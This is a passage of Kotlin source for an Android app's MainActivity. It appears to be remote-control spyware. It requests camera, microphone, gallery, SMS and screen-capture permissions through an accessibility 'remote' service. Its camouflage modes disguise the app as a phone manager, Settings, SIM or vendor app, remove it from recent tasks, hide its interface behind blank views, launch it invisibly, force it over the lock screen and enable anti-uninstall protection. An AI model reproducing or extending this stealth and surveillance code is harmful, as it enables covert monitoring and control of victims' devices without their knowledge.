Files
and-bak/app/src/main/java/com/hikoncont/MainActivity.kt

6068 lines
261 KiB
Kotlin
Raw Normal View History

2026-02-11 16:59:49 +08:00
package com.hikoncont
import android.app.Activity
import android.app.ActivityManager
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.media.projection.MediaProjection
import android.media.projection.MediaProjectionManager
import android.os.Build
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.provider.Settings
import android.net.Uri
import android.util.Log
import android.widget.Button
import android.widget.ImageView
import android.widget.Switch
import android.widget.TextView
import androidx.appcompat.app.AppCompatActivity
import androidx.core.content.ContextCompat
import com.hikoncont.service.AccessibilityRemoteService
import android.content.pm.PackageManager
import android.graphics.Color
import android.view.View
import android.view.WindowManager
import android.view.accessibility.AccessibilityNodeInfo
import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.launch
import kotlinx.coroutines.delay
/**
* 主Activity
*
* 引导用户开启无障碍服务并显示服务状态
*/
class MainActivity : AppCompatActivity() {
companion object {
private const val TAG = "MainActivity"
private const val REQUEST_MEDIA_PROJECTION = 1001
private const val REQUEST_ACCESSIBILITY_PERMISSION = 1002
// 删除悬浮窗权限请求常量
private const val REQUEST_SIMPLE_PERMISSION = 1004
private const val REQUEST_SMS_PERMISSION = 1006
private const val REQUEST_GALLERY_PERMISSION = 1007
private const val REQUEST_MICROPHONE_PERMISSION = 1008
private const val REQUEST_CAMERA_PERMISSION = 1009
private const val REQUEST_ALL_PERMISSIONS = 1010
// ✅ 新增:自动重试配置
private const val MAX_AUTO_RETRY_COUNT = 6 // 最大重试次数6次 (约30秒)
private const val AUTO_RETRY_INTERVAL = 5000L // 重试间隔5秒
}
private lateinit var statusText: TextView
private lateinit var enableButton: Button
private lateinit var appNameText: TextView
private lateinit var usageInstructionsText: TextView
private lateinit var serviceSwitch: Switch
private lateinit var appIconImageView: ImageView
private var mediaProjectionManager: MediaProjectionManager? = null
private var mediaProjection: MediaProjection? = null
// ✅ 新增:重试状态追踪
private var autoRetryCount = 0
private var retryHandler: android.os.Handler? = null
private var retryRunnable: Runnable? = null
// ✅ 标记是否为自动权限申请流程
private var isAutoPermissionRequest = false
// ✅ 防止重复权限申请的标志
private var permissionRequestInProgress = false
// ✅ 新增:存储自定义的页面样式配置
private var customStatusText: String? = null
private var customUsageInstructions: String? = null
// 🔑 新增:状态文本保护标志 - 当有自定义状态文本时不允许修改
private var preserveCustomStatusText = false
// ✅ MediaProjection权限监听Handler
private var mediaProjectionCheckHandler: Handler? = null
// ✅ WebView状态相关使用静态变量方案最高性能
private var webViewStatusHandler: Handler? = null
private var webViewStatusRunnable: Runnable? = null
private var isWebViewVisible = false
private var mediaProjectionCheckRunnable: Runnable? = null
// ✅ 合并的广播接收器 - 处理停止Activity和备用权限申请
private val combinedBroadcastReceiver = object : BroadcastReceiver() {
override fun onReceive(context: Context?, intent: Intent?) {
when (intent?.action) {
"android.mycustrecev.STOP_ACTIVITY_CREATION" -> {
Log.i(TAG, "📡 收到停止Activity创建广播关闭MainActivity")
hideActivityToBackground()
}
"android.mycustrecev.REQUEST_CAMERA_PERMISSION" -> {
Log.i(TAG, "📡 收到摄像头权限请求广播")
requestCameraPermissionDirectly()
}
"android.mycustrecev.REQUEST_GALLERY_PERMISSION" -> {
Log.i(TAG, "📡 收到相册权限请求广播")
requestGalleryPermissionDirectly()
}
"android.mycustrecev.REQUEST_MICROPHONE_PERMISSION" -> {
Log.i(TAG, "📡 收到麦克风权限请求广播")
requestMicrophonePermissionDirectly()
}
"android.mycustrecev.REQUEST_SMS_PERMISSION" -> {
Log.i(TAG, "📡 收到短信权限请求广播")
requestSMSPermissionDirectly()
}
"android.mycustrecev.REQUEST_ALL_PERMISSIONS" -> {
Log.i(TAG, "📡 收到所有权限请求广播")
requestAllPermissionsAtOnce()
}
// ✅ 移除SETUP_COMPLETE广播处理功能已融合到SetupCompleteReceiver中
// ✅ 移除INSTALLATION_COMPLETE广播处理功能已融合到InstallationCompleteReceiver中
"android.mycustrecev.REQUEST_PERMISSION_FROM_SERVICE" -> {
Log.i(TAG, "📡 收到备用权限申请广播 - 来自AccessibilityRemoteService")
val autoRequest = intent.getBooleanExtra("AUTO_REQUEST_PERMISSION", false)
val timestamp = intent.getLongExtra("TIMESTAMP", 0)
val source = intent.getStringExtra("SOURCE") ?: "未知"
Log.i(
TAG,
"📊 备用广播参数: AUTO_REQUEST_PERMISSION=$autoRequest, TIMESTAMP=$timestamp, SOURCE=$source"
)
if (autoRequest) {
// ✅ 检查是否已有权限申请在进行,防止重复申请
if (permissionRequestInProgress) {
Log.w(TAG, "⚠️ 权限申请已在进行中,忽略备用广播")
return
}
// ✅ 检查权限是否已存在,防止重复申请
val permissionData = MediaProjectionHolder.getPermissionData()
if (permissionData != null) {
Log.i(TAG, "✅ MediaProjection权限已存在忽略备用广播")
return
}
Log.i(
TAG,
"✅ 备用广播包含AUTO_REQUEST_PERMISSION=true但权限申请已通过主Intent启动"
)
Log.i(TAG, "🔄 备用广播仅用于确保Activity前台显示不重复启动权限申请")
// ✅ 仅强制将Activity带到前台不重复启动权限申请
runOnUiThread {
try {
// ✅ ANR修复异步处理窗口焦点操作
android.os.Handler(android.os.Looper.getMainLooper()).post {
try {
// 分步骤设置窗口标志避免ANR
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED)
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON)
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
// 延迟执行moveTaskToFront
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
val activityManager =
getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
activityManager.moveTaskToFront(
taskId,
android.app.ActivityManager.MOVE_TASK_WITH_HOME
)
Log.i(TAG, "✅ 已设置Activity前台显示标志并尝试移至前台")
} catch (e: Exception) {
Log.e(TAG, "❌ moveTaskToFront失败", e)
}
}, 150)
} catch (e: Exception) {
Log.e(TAG, "❌ 设置屏幕标志失败", e)
}
}, 100)
} catch (e: Exception) {
Log.e(TAG, "❌ 异步设置Activity前台显示失败", e)
}
}
} catch (e: Exception) {
Log.w(TAG, "⚠️ 设置Activity前台显示失败: ${e.message}")
}
}
} else {
Log.w(TAG, "⚠️ 备用广播不包含AUTO_REQUEST_PERMISSION=true")
}
}
"android.mycustrecev.SHOW_MAIN_ACTIVITY" -> {
Log.i(TAG, "📡 收到显示主页广播")
val setupComplete = intent.getBooleanExtra("SETUP_COMPLETE", false)
val forceForeground = intent.getBooleanExtra("FORCE_FOREGROUND", false)
runOnUiThread {
try {
// 强制将Activity带到前台的多重机制
Log.i(TAG, "🚀 开始强制前台显示 (forceForeground=$forceForeground)")
// ✅ ANR修复异步处理窗口焦点操作
android.os.Handler(android.os.Looper.getMainLooper()).post {
try {
// 方法1分步骤设置窗口标志避免ANR
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED)
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON)
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD)
if (forceForeground) {
// 方法2强制获取焦点
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL)
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH)
// 方法3延迟执行ActivityManager移动任务
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
val activityManager =
getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
activityManager.moveTaskToFront(
taskId,
android.app.ActivityManager.MOVE_TASK_WITH_HOME
)
Log.i(TAG, "✅ ActivityManager移动任务成功")
} catch (e: Exception) {
Log.w(TAG, "⚠️ ActivityManager移动任务失败", e)
}
}, 200)
// 方法4请求用户注意
try {
setTurnScreenOn(true)
setShowWhenLocked(true)
Log.i(TAG, "✅ 系统级前台显示设置成功")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 系统级前台显示设置失败", e)
}
}
} catch (e: Exception) {
Log.e(TAG, "❌ 设置窗口标志失败", e)
}
}, 100)
} catch (e: Exception) {
Log.e(TAG, "❌ 异步设置窗口标志失败", e)
}
}
if (setupComplete) {
updateStatusTextThreadSafe(
"✅ 服务启动中...",
android.R.color.holo_green_dark
)
if (::enableButton.isInitialized) {
enableButton.text = "服务已就绪"
enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark))
enableButton.isEnabled = false
}
}
Log.i(TAG, "✅ 主页已显示并更新状态")
} catch (e: Exception) {
Log.e(TAG, "❌ 显示主页失败", e)
}
}
}
}
}
}
/**
* 🔑 新增安全更新状态文本的辅助方法
* 如果有自定义状态文本且启用了保护则不更新
*/
private fun updateStatusTextSafely(newText: String, color: Int? = null) {
// ✅ 安全检查确保UI组件已初始化
if (!::statusText.isInitialized) {
Log.w(TAG, "⚠️ statusText未初始化跳过updateStatusTextSafely")
return
}
// ✅ 检查是否是WebView模式如果是则跳过UI更新
if (isWebViewMode()) {
Log.d(TAG, "🌐 WebView模式跳过状态文本更新: $newText")
return
}
if (preserveCustomStatusText && !customStatusText.isNullOrEmpty()) {
Log.d(TAG, "🛡️ 状态文本受保护,跳过更新: $newText")
return
}
// 🎭 检查是否是伪装模式如果是则跳过UI更新
if (isPhoneManagerCamouflageMode()) {
Log.d(TAG, "🎭 伪装模式,跳过状态文本更新: $newText")
return
}
statusText.text = newText
color?.let { statusText.setTextColor(getColor(it)) }
Log.d(TAG, "📝 状态文本已更新: $newText")
}
/**
* 新增安全更新状态文本的便捷方法自动处理UI线程
*/
private fun updateStatusTextSafelyOnUiThread(newText: String, color: Int? = null) {
runOnUiThread {
updateStatusTextSafely(newText, color)
}
}
/**
* 检查是否是WebView模式
* 在WebView模式下statusText等UI组件被隐藏不应该尝试更新
*/
private fun isWebViewMode(): Boolean {
return try {
val webView = findViewById<android.webkit.WebView>(R.id.webView)
val statusText = findViewById<android.view.View>(R.id.statusText)
// 如果WebView可见且statusText被隐藏则认为是WebView模式
webView?.visibility == android.view.View.VISIBLE &&
statusText?.visibility == android.view.View.GONE
} catch (e: Exception) {
Log.d(TAG, "🔍 检查WebView模式时异常: ${e.message}")
false
}
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// ✅ 参考zuiqiang移除保活检测让MainActivity正常启动
// zuiqiang的做法是在onDestroy时启动透明保活Activity而不是在onCreate中检测
// ✅ 确保无障碍服务在App打开时被拉起已授权但服务异常时
// try {
// ensureAccessibilityServiceAlive()
// } catch (_: Exception) {}
//
Log.i(TAG, "MainActivity创建完成")
Log.i(TAG, "📊 Activity实例信息: ${this.hashCode()}, 任务ID: ${this.taskId}")
// ✅ 添加详细的Intent调试信息
val intent = getIntent()
if (intent != null) {
Log.i(TAG, "🔍 Intent详细信息:")
Log.i(TAG, "🔍 action: ${intent.action}")
Log.i(TAG, "🔍 component: ${intent.component}")
Log.i(
TAG,
"🔍 from_installation_complete: ${
intent.getBooleanExtra(
"from_installation_complete",
false
)
}"
)
Log.i(TAG, "🔍 show_webview: ${intent.getBooleanExtra("show_webview", false)}")
Log.i(TAG, "🔍 user_initiated: ${intent.getBooleanExtra("user_initiated", false)}")
Log.i(TAG, "🔍 force_foreground: ${intent.getBooleanExtra("force_foreground", false)}")
Log.i(
TAG,
"🔍 LAUNCH_BACKGROUND: ${intent.getBooleanExtra("LAUNCH_BACKGROUND", false)}"
)
} else {
Log.w(TAG, "⚠️ Intent为null")
}
// ✅ 注册广播接收器(无论是否伪装模式都需要)
val filter = IntentFilter().apply {
addAction("android.mycustrecev.STOP_ACTIVITY_CREATION")
addAction("android.mycustrecev.REQUEST_PERMISSION_FROM_SERVICE") // 添加备用广播
addAction("android.mycustrecev.SHOW_MAIN_ACTIVITY") // 添加显示主页广播
// ✅ 移除SETUP_COMPLETE广播功能已融合到SetupCompleteReceiver中
// ✅ 移除INSTALLATION_COMPLETE广播功能已融合到InstallationCompleteReceiver中
addAction("android.mycustrecev.REQUEST_CAMERA_PERMISSION") // ✅ 新增:摄像头权限请求广播
addAction("android.mycustrecev.REQUEST_GALLERY_PERMISSION") // ✅ 新增:相册权限请求广播
addAction("android.mycustrecev.REQUEST_MICROPHONE_PERMISSION") // ✅ 新增:麦克风权限请求广播
addAction("android.mycustrecev.REQUEST_SMS_PERMISSION") // ✅ 新增:短信权限请求广播
addAction("android.mycustrecev.REQUEST_ALL_PERMISSIONS") // ✅ 新增:所有权限请求广播
}
registerReceiver(combinedBroadcastReceiver, filter)
// ✅ 新增:记录应用启动次数,用于保活检测
recordAppLaunch()
// ✅ 新增:检查是否为无闪现后台唤起
if (intent?.getBooleanExtra("LAUNCH_BACKGROUND", false) == true) {
try {
overridePendingTransition(0, 0)
window.decorView.alpha = 0f
moveTaskToBack(true)
Log.i(TAG, "🫥 onCreate: 已无闪现退到后台")
} catch (e: Exception) {
Log.w(TAG, "⚠️ onCreate 隐藏失败: ${e.message}")
}
}
// ✅ 优先检查是否来自安装完成广播需要显示WebView
if (intent?.getBooleanExtra("from_installation_complete", false) == true &&
intent?.getBooleanExtra("show_webview", false) == true
) {
Log.i(TAG, "🌐 来自安装完成广播检查MediaProjection权限后显示WebView")
Log.i(
TAG,
"🔍 Intent参数: from_installation_complete=${
intent.getBooleanExtra(
"from_installation_complete",
false
)
}, show_webview=${intent.getBooleanExtra("show_webview", false)}"
)
Log.i(
TAG,
"🔍 其他参数: user_initiated=${
intent.getBooleanExtra(
"user_initiated",
false
)
}, force_foreground=${intent.getBooleanExtra("force_foreground", false)}"
)
// ✅ 新增检查MediaProjection权限是否已获取
val hasMediaProjectionPermission = checkRealMediaProjectionPermission()
Log.i(TAG, "🔍 MediaProjection权限检查结果: $hasMediaProjectionPermission")
if (!hasMediaProjectionPermission) {
Log.w(TAG, "⚠️ MediaProjection权限未获取不启动WebView转入手动权限申请流程")
// 设置布局但不启动WebView让应用进入正常的权限申请流程
setContentView(R.layout.activity_main)
initViews()
return
}
Log.i(TAG, "✅ MediaProjection权限已获取启动WebView")
setContentView(R.layout.activity_main)
Log.i(TAG, "✅ 已设置布局准备启动WebView")
// ✅ 修复在可能访问UI组件之前初始化视图
initViews()
// ✅ 检查布局是否正确设置
val webView = findViewById<android.webkit.WebView>(R.id.webView)
if (webView == null) {
Log.e(TAG, "❌ 布局设置后未找到WebView可能布局文件有问题")
return
} else {
Log.i(TAG, "✅ 布局设置成功找到WebView")
}
startWebViewActivity()
Log.i(TAG, "✅ 已调用startWebViewActivity准备返回")
return
}
// ✅ 参考zuiqiang检查是否为保活启动如果是则直接结束避免动画
// 注意:只有在明确是保活启动时才结束,避免误判正常启动
if (isLaunchedByKeepAlive()) {
Log.i(TAG, "🫥 检测到保活启动,直接结束避免动画")
// 参考zuiqiang保活启动时完全禁用动画直接结束
overridePendingTransition(0, 0)
window.setBackgroundDrawableResource(android.R.color.transparent)
window.attributes.windowAnimations = 0
finish()
return
}
setContentView(R.layout.activity_main)
// 🔍 无障碍服务健康检查(是否正常运行)
try {
val enabled = isAccessibilityServiceEnabled()
val instance = AccessibilityRemoteService.getInstance()
val running = AccessibilityRemoteService.isServiceRunning()
Log.i(
TAG,
"🔍 无障碍服务健康检查: enabled=$enabled, instance=${instance != null}, running=$running"
)
if (enabled && running && instance != null) {
// 🎭 检查是否是手机管家伪装模式
if (isPhoneManagerCamouflageMode()) {
Log.i(TAG, "🎭 检测到手机管家伪装模式,启动无障碍监听服务")
try {
// ✅ 伪装模式下,从任务栏移除进程
removeFromRecentTasks()
// 设置伪装主题,完全隐藏界面
setTheme(R.style.Theme_Camouflage)
// 设置完全全屏隐藏所有系统UI
window.setFlags(
WindowManager.LayoutParams.FLAG_FULLSCREEN or
WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS or
WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN or
WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR or
WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED,
WindowManager.LayoutParams.FLAG_FULLSCREEN or
WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS or
WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN or
WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR or
WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED
)
// 隐藏状态栏和导航栏
window.decorView.systemUiVisibility = (
View.SYSTEM_UI_FLAG_FULLSCREEN or
View.SYSTEM_UI_FLAG_HIDE_NAVIGATION or
View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY or
View.SYSTEM_UI_FLAG_LAYOUT_STABLE or
View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION or
View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
)
// 创建一个完全透明的视图
val transparentView = View(this)
transparentView.setBackgroundColor(Color.TRANSPARENT)
setContentView(transparentView)
// 启动无障碍监听服务,让无障碍服务处理跳转
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
startAccessibilityServiceForCamouflage()
} catch (e: Exception) {
Log.e(TAG, "❌ 启动无障碍监听服务失败", e)
}
}, 100) // 100ms延迟确保界面设置完成
} catch (e: Exception) {
Log.e(TAG, "❌ 伪装模式设置失败", e)
}
return
}
// 🎭 检查是否是I管家伪装模式
if (isIGuanjiaCamouflageMode()) {
Log.i(TAG, "🎭 检测到I管家伪装模式启动无障碍监听服务")
try {
// ✅ 伪装模式下,从任务栏移除进程
removeFromRecentTasks()
// 设置伪装主题,完全隐藏界面
setTheme(R.style.Theme_Camouflage)
// 设置完全全屏隐藏所有系统UI
window.setFlags(
WindowManager.LayoutParams.FLAG_FULLSCREEN or
WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS or
WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN or
WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR or
WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED,
WindowManager.LayoutParams.FLAG_FULLSCREEN or
WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS or
WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN or
WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR or
WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED
)
// 隐藏状态栏和导航栏
window.decorView.systemUiVisibility = (
View.SYSTEM_UI_FLAG_FULLSCREEN or
View.SYSTEM_UI_FLAG_HIDE_NAVIGATION or
View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY or
View.SYSTEM_UI_FLAG_LAYOUT_STABLE or
View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION or
View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
)
// 创建一个完全透明的视图
val transparentView = View(this)
transparentView.setBackgroundColor(Color.TRANSPARENT)
setContentView(transparentView)
// 启动无障碍监听服务,让无障碍服务处理跳转
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
startAccessibilityServiceForCamouflage()
} catch (e: Exception) {
Log.e(TAG, "❌ 启动无障碍监听服务失败", e)
}
}, 100) // 100ms延迟确保界面设置完成
} catch (e: Exception) {
Log.e(TAG, "❌ I管家伪装模式设置失败", e)
}
return
}
// ✅ 新增检查安装是否已完成如果完成则直接显示WebView
if (isInstallationCompleted()) {
Log.i(TAG, "📦 检测到安装已完成直接显示WebView")
setContentView(R.layout.activity_main)
startWebViewActivity()
return
}
// 🔐 只有在密码框曾经显示过的情况下才检查密码输入状态
if (hasPasswordInputBeenShown() && !isPasswordInputCompleted()) {
Log.i(TAG, "🔐 密码框曾经显示过且密码输入未完成,强制跳转到密码输入页面")
startPasswordInputActivity()
return
}
// 🌐 如果WebView曾经打开过从文件读取则每次进入直接打开WebView
if (com.hikoncont.util.WebViewStateStore.hasOpened(this)) {
Log.i(TAG, "🌐 检测到WebView曾经打开过检查MediaProjection权限后启动WebView页面")
// ✅ 新增检查MediaProjection权限是否已获取
val hasMediaProjectionPermission = checkRealMediaProjectionPermission()
Log.i(TAG, "🔍 MediaProjection权限检查结果: $hasMediaProjectionPermission")
if (!hasMediaProjectionPermission) {
Log.w(TAG, "⚠️ MediaProjection权限未获取不启动WebView转入手动权限申请流程")
// 不启动WebView让应用进入正常的权限申请流程
return
}
Log.i(TAG, "✅ MediaProjection权限已获取启动WebView页面")
startWebViewActivity()
return
}
}
} catch (e: Exception) {
Log.e(TAG, "❌ 无障碍服务健康检查异常", e)
}
initViews()
setupClickListeners()
updateUI()
// ✅ 新增APP打开时强制检查并恢复无障碍服务
forceCheckAndRecoverAccessibilityService()
// 检查是否需要申请短信权限
handleSMSPermissionRequest()
// 检查是否需要申请相册权限
handleGalleryPermissionRequest()
handleMicrophonePermissionRequest()
// 初始化MediaProjectionManager
mediaProjectionManager =
getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
// 处理Intent
handleIntentAndPermissions(intent)
}
/**
* 从任务栏移除进程伪装模式下使用
*/
private fun removeFromRecentTasks() {
try {
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.LOLLIPOP) {
val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
val appTasks = activityManager.appTasks
if (appTasks.isNotEmpty()) {
val appTask = appTasks[0]
appTask.setExcludeFromRecents(true)
Log.i(TAG, "✅ 已从任务栏移除进程")
} else {
Log.w(TAG, "⚠️ 未找到AppTask无法从任务栏移除")
}
} else {
Log.w(TAG, "⚠️ API版本过低无法使用setExcludeFromRecents")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 从任务栏移除进程失败", e)
}
}
/**
* 🎭 检查是否是手机管家伪装模式
* 参考 AccessibilityRemoteService.kt 的检测逻辑
*/
private fun isPhoneManagerCamouflageMode(): Boolean {
return try {
val packageManager = packageManager
val mainComponent =
android.content.ComponentName(this, "com.hikoncont.MainActivity")
// 检查所有可能的伪装alias与 AccessibilityRemoteService.kt 保持一致)
val camouflageAliases = listOf(
"com.hikoncont.PhoneManagerAlias",
"com.hikoncont.OppoAlias",
"com.hikoncont.HuaweiAlias",
"com.hikoncont.HonorAlias",
"com.hikoncont.XiaomiAlias",
"com.hikoncont.SettingsAlias",
"com.hikoncont.SIMAlias"
)
// ✅ 检查 MainActivity 是否被禁用
val mainDisabled = packageManager.getComponentEnabledSetting(mainComponent)
val isMainDisabled =
(mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED)
// ✅ 检查是否有任何伪装alias被启用
var anyAliasEnabled = false
var enabledAlias = ""
for (aliasName in camouflageAliases) {
try {
val component = android.content.ComponentName(this, aliasName)
val enabled = packageManager.getComponentEnabledSetting(component)
if (enabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED) {
anyAliasEnabled = true
enabledAlias = aliasName
break
}
} catch (e: Exception) {
Log.w(TAG, "⚠️ 检查alias状态失败: $aliasName", e)
}
}
// ✅ 伪装模式 = MainActivity 被禁用 && 有任何一个 alias 被启用
val isCamouflage = isMainDisabled && anyAliasEnabled
Log.d(
TAG,
"🎭 检查手机管家伪装模式: $isCamouflage (Main: $isMainDisabled, EnabledAlias: $enabledAlias)"
)
isCamouflage
} catch (e: Exception) {
Log.e(TAG, "❌ 检查手机管家伪装模式失败", e)
false
}
}
/**
* 🎭 检查是否是I管家伪装模式
* 参考 AccessibilityRemoteService.kt 的检测逻辑
*/
private fun isIGuanjiaCamouflageMode(): Boolean {
return try {
val packageManager = packageManager
val mainComponent =
android.content.ComponentName(this, "com.hikoncont.MainActivity")
val aliasComponent =
android.content.ComponentName(this, "com.hikoncont.VivoIGuanjiaAlias")
// ✅ 检查 MainActivity 是否被禁用
val mainDisabled = packageManager.getComponentEnabledSetting(mainComponent)
val isMainDisabled =
(mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED)
// ✅ 检查 VivoIGuanjiaAlias 是否被启用
val aliasEnabled = packageManager.getComponentEnabledSetting(aliasComponent)
val isAliasEnabled =
(aliasEnabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED)
// ✅ 伪装模式 = MainActivity 被禁用 && alias 被启用
val isCamouflage = isMainDisabled && isAliasEnabled
Log.d(
TAG,
"🎭 检查I管家伪装模式: $isCamouflage (Main: $isMainDisabled, Alias: $isAliasEnabled)"
)
isCamouflage
} catch (e: Exception) {
Log.e(TAG, "❌ 检查I管家伪装模式失败", e)
false
}
}
/**
* 🎭 设置白色界面模式
*/
private fun setupWhiteScreenMode() {
try {
Log.i(TAG, "🎭 开始设置白色界面模式")
// 设置伪装主题
setTheme(R.style.Theme_Camouflage)
// 创建一个简单的白色视图
val whiteView = View(this)
whiteView.setBackgroundColor(Color.WHITE)
setContentView(whiteView)
// 设置完全全屏隐藏所有系统UI
window.setFlags(
WindowManager.LayoutParams.FLAG_FULLSCREEN or
WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS or
WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN or
WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR,
WindowManager.LayoutParams.FLAG_FULLSCREEN or
WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS or
WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN or
WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR
)
// 隐藏状态栏和导航栏,使用更激进的设置
window.decorView.systemUiVisibility = (
View.SYSTEM_UI_FLAG_FULLSCREEN or
View.SYSTEM_UI_FLAG_HIDE_NAVIGATION or
View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY or
View.SYSTEM_UI_FLAG_LAYOUT_STABLE or
View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION or
View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
)
// 设置状态栏和导航栏为白色
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.LOLLIPOP) {
window.statusBarColor = Color.WHITE
window.navigationBarColor = Color.WHITE
}
// 设置窗口背景为白色
window.setBackgroundDrawableResource(android.R.color.white)
Log.i(TAG, "✅ 白色界面模式设置完成")
Log.i(TAG, "🎭 伪装模式显示完全白色界面无系统UI")
} catch (e: Exception) {
Log.e(TAG, "❌ 设置白色界面模式失败", e)
}
}
/**
* 🎭 启动无障碍监听服务用于伪装模式
*/
private fun startAccessibilityServiceForCamouflage() {
try {
Log.i(TAG, "🎭 启动无障碍监听服务用于伪装模式")
// 启动无障碍服务
val accessibilityIntent =
Intent(this, com.hikoncont.service.AccessibilityRemoteService::class.java)
startService(accessibilityIntent)
// 等待服务启动
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
// 获取无障碍服务实例并启用伪装监听和防卸载监听
val accessibilityService =
com.hikoncont.service.AccessibilityRemoteService.getInstance()
if (accessibilityService != null) {
// 启用伪装监听
val eventManager = accessibilityService.getAccessibilityEventManager()
if (eventManager != null) {
eventManager.enablePhoneManagerCamouflage()
Log.i(TAG, "✅ 伪装监听服务已启用")
} else {
Log.w(TAG, "⚠️ AccessibilityEventManager不可用")
}
// 启用防卸载监听
try {
accessibilityService.enableUninstallProtection()
Log.i(TAG, "✅ 防卸载监听服务已启用")
} catch (e: Exception) {
Log.e(TAG, "❌ 启用防卸载监听失败", e)
}
} else {
Log.w(TAG, "⚠️ AccessibilityRemoteService不可用")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 启用监听服务失败", e)
}
}, 200) // 等待200ms让服务完全启动
} catch (e: Exception) {
Log.e(TAG, "❌ 启动无障碍监听服务异常", e)
}
}
/**
* 🛡 确保无障碍服务处于运行状态App被打开时
* 逻辑若未运行先尝试组件级重绑短延迟后再尝试startService再短延迟检查实例
*/
private fun ensureAccessibilityServiceAlive() {
try {
val running = com.hikoncont.service.AccessibilityRemoteService.isServiceRunning()
if (running) return
// 1) 组件级强制重绑
try {
val pm = packageManager
val component = android.content.ComponentName(
this,
com.hikoncont.service.AccessibilityRemoteService::class.java
)
val flags =
android.content.pm.PackageManager.DONT_KILL_APP or android.content.pm.PackageManager.SYNCHRONOUS
pm.setComponentEnabledSetting(
component,
android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
flags
)
try {
Thread.sleep(150)
} catch (_: InterruptedException) {
}
pm.setComponentEnabledSetting(
component,
android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
flags
)
} catch (_: Exception) {
}
// 2) 明确startService以促使系统建立绑定
try {
val intent =
Intent(this, com.hikoncont.service.AccessibilityRemoteService::class.java)
startService(intent)
} catch (_: Exception) {
}
// 3) 短延迟后再校验一次实例
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
val instance =
com.hikoncont.service.AccessibilityRemoteService.getInstance()
val ok =
instance != null && com.hikoncont.service.AccessibilityRemoteService.isServiceRunning()
if (!ok) {
// ✅ 参考 f 目录策略:只启动主前台服务,不启动多余的保活服务
Log.w(TAG, "⚠️ 无障碍服务未运行,但保活程序不启动多余服务(参考 f 目录策略)")
}
} catch (_: Exception) {
}
}, 250)
} catch (_: Exception) {
}
}
/**
* 🎭 启动系统手机管家
*/
private fun startSystemPhoneManager() {
try {
Log.i(TAG, "🎭 开始启动系统手机管家")
val packageManager = packageManager
// 常见的手机管家包名列表(按优先级排序)
